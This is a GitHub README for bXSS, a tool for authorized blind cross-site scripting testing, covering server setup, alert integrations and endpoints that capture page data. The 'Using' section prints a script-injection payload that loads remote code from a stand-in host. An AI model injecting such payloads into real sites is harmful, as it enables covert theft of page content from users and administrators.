Skip to content
/ bXSS Public
forked from LewisArdern/bXSS

bXSS is a Blind XSS application adapted from https://cure53.de/m

License

Notifications You must be signed in to change notification settings

hlissner/bXSS

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

99 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Language grade: JavaScript

bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.

bXSS supports the following:

Requirements

Baseline Requirements

  • A server you control
  • A usable domain
  • Node.js and Express

Optional Requirements

Step-Up

Default

  • cd bXSS && npm install
  • Update The Configuration || Environment Variables
    • Domain
      • config.url = Domain intended for use e.g ardern.io
      • config.port = Port to run the Node.js app e.g 3030
    • Twilio (Optional, if you don't want to use Twilio just delete all Twilio references from the config)
    • Slack (Optional, if you don't want to use Slack just delete all Slack references from the config)
    • Cisco (Optional, if you don't want to use Cisco just delete all Cisco references from the config)
    • Discord (Optional, if you don't want to use Discord just delete all Discord references from the config)
    • Twitter (Optional, if you don't want to use Twitter just delete all Twitter references from the config)
      • config.twitter.consumer_key = API Key
      • config.twitter.consumer_secret = API Secret Key
      • config.twitter.access_token_key = Application Access Token
      • config.twitter.access_token_secret = Application Access Token Secret
      • Permissions (Write)
      • config.twitter.recipient_id = Twitter User ID, which can be found here
    • Gmail (Optional, if you don't want to use Gmail just delete all Gmail references from the config)
      • config.gmail.user = Gmail Username
      • config.gmail.pass = Gmail Password
      • config.gmail.to = ['email1@domain.com','email2@domain.com'] Where you want to send the emails
      • config.gmail.from = Who sent the message, usually Gmail Username
    • Rename configExample.js to config.js
  • Start your app (depending on your preference)
    • node app.js
    • pm2 start app.js
    • nodemon app.js

Additional Steps (Optional)

  • Obtain a let's Encrypt cert
  • I would recommend looking at setting up a reverse proxy, for example in NGINX and skip the next step as I wouldn't want anyone to run express as root.
  • Using Node.js
    • Update Configuration
      • config.letsEncrypt.TLS = true;
      • config.letsEncrypt.publicKey = $Path/fullchain.pem
      • config.letsEncrypt.privateKey = $Path/privkey.pem
      • config.letsEncrypt.ca = $Path/chain.pem
  • Start your app (depending on your preference)
    • node app.js
    • npm2 start app.js
    • nodemon app.js

Using

Once the application is funcitonal, you would just identify sites you are authorized to test and start to inject different payloads that will attempt to load your resource, the easiest example is:

"><script src="https://example.com/m"></script>

The application has five core functions to utilize:

  • POST - /m (Captures DOM information)
  • GET - /m (Loads the payload)
  • GET - /mH (Captures HTTP interactions)
  • Payloads - /payloads (Gives payloads you can use for testing blind xss)
  • Everything else - Loads alert(1)

Contribute?

If you like the project, feel free to contribute or if you want to suggest improvements or notice any problems, file a issue.

About

bXSS is a Blind XSS application adapted from https://cure53.de/m

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • JavaScript 100.0%